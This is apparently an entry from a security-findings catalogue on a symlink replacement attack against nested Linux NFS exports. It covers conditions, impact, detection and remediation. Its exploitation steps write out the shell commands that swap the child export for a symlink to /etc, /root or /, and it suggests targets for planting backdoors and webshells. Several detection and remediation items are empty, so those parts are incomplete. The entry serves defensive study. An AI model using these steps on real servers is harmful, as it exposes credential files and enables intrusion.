F-4.4: Nested Export Symlink Replacement Attack¶
Classification¶
- Severity: High
- CVSS Vector: Network / Medium Complexity / Low Privileges
- Affected Versions: NFSv3 on Linux
- Configuration: Parent export accessible with write permissions; child export exists as subdirectory
- Prerequisite: Write access to parent export; nested export structure
Summary¶
When NFS exports are nested (a child directory is exported separately within a parent export), an attacker with write access to the parent export can delete the child export's mount point directory and replace it with a symlink pointing to any location on the server's filesystem. If the server follows the symlink, the attacker gains access to arbitrary directories outside the intended export scope.
Technical detail¶
Nested export configuration¶
# /etc/exports - nested exports
/srv/data *(rw,no_subtree_check)
/srv/data/public *(ro,no_subtree_check)
In this configuration:
- /srv/data is the parent export (read-write)
- /srv/data/public is a child export (read-only)
- public is a regular directory inside /srv/data
The attack¶
An attacker with write access to /srv/data can:
- Remove the
publicdirectory (or rename it) - Create a symlink:
public -> /etc(or any target directory) - Clients mounting
/srv/data/publicnow access/etcthrough the symlink
Why this works¶
- The parent export has
rwpermissions - The child export's directory is just a regular directory within the parent
- NFS follows symlinks by default
no_subtree_check(default) doesn't validate paths within exports
Conditions for exploitation¶
- Write access to parent export: Either as a non-root user who owns the directory, or with
no_root_squash - Child directory is removable: Attacker has write permission on the parent directory
- Server follows symlinks: Default behavior (most configurations)
- No bind mount isolation: If the child export uses a bind mount of a separate filesystem, the symlink attack still works on the parent's filesystem
Exploitation¶
Step 1: Verify nested structure¶
Step 2: Mount parent export¶
Step 3: Replace child with symlink¶
# Remove the child directory (requires write + execute on parent)
rm -rf /mnt/parent/public
# Create symlink to sensitive location
ln -s /etc /mnt/parent/public
# Or: ln -s / /mnt/parent/public (entire filesystem!)
# Or: ln -s /root /mnt/parent/public
Step 4: Access through child export¶
# Other clients (or the attacker) mounting the child export now get /etc
mount -t nfs target:/srv/data/public /mnt/child
ls /mnt/child/
# shadow passwd hosts sudoers ssh/ ...
Alternative: Redirect to writable location¶
# Point to a world-writable tmp dir for planting backdoors
ln -s /tmp /mnt/parent/public
# Or point to web root for webshell deployment
ln -s /var/www/html /mnt/parent/public
Impact¶
- Arbitrary filesystem traversal: Access any directory the NFS server process can read
- Breaks export isolation: Child export's separate permissions become meaningless
- Data exposure: Redirect to sensitive directories (/etc, /root, /home)
- Write access escalation: If the symlink target is writable by NFS server process
- Affects all clients: Every client mounting the child export gets redirected
Detection¶
- Monitor for symlink creation in export directories:
- Check for symlinks where directories are expected:
- File integrity monitoring on export root directories
Remediation¶
-
Avoid nested exports entirely — use separate filesystems:
-
Use bind mounts with separate filesystems (with caveats — they don't isolate without subtree_check):
-
Make child directory immutable:
-
Enable subtree_check on nested exports (performance impact):
-
Restrict write access on parent export to prevent directory manipulation:
-
Mount server-side with
nosymfollow(if kernel supports it, 5.10+):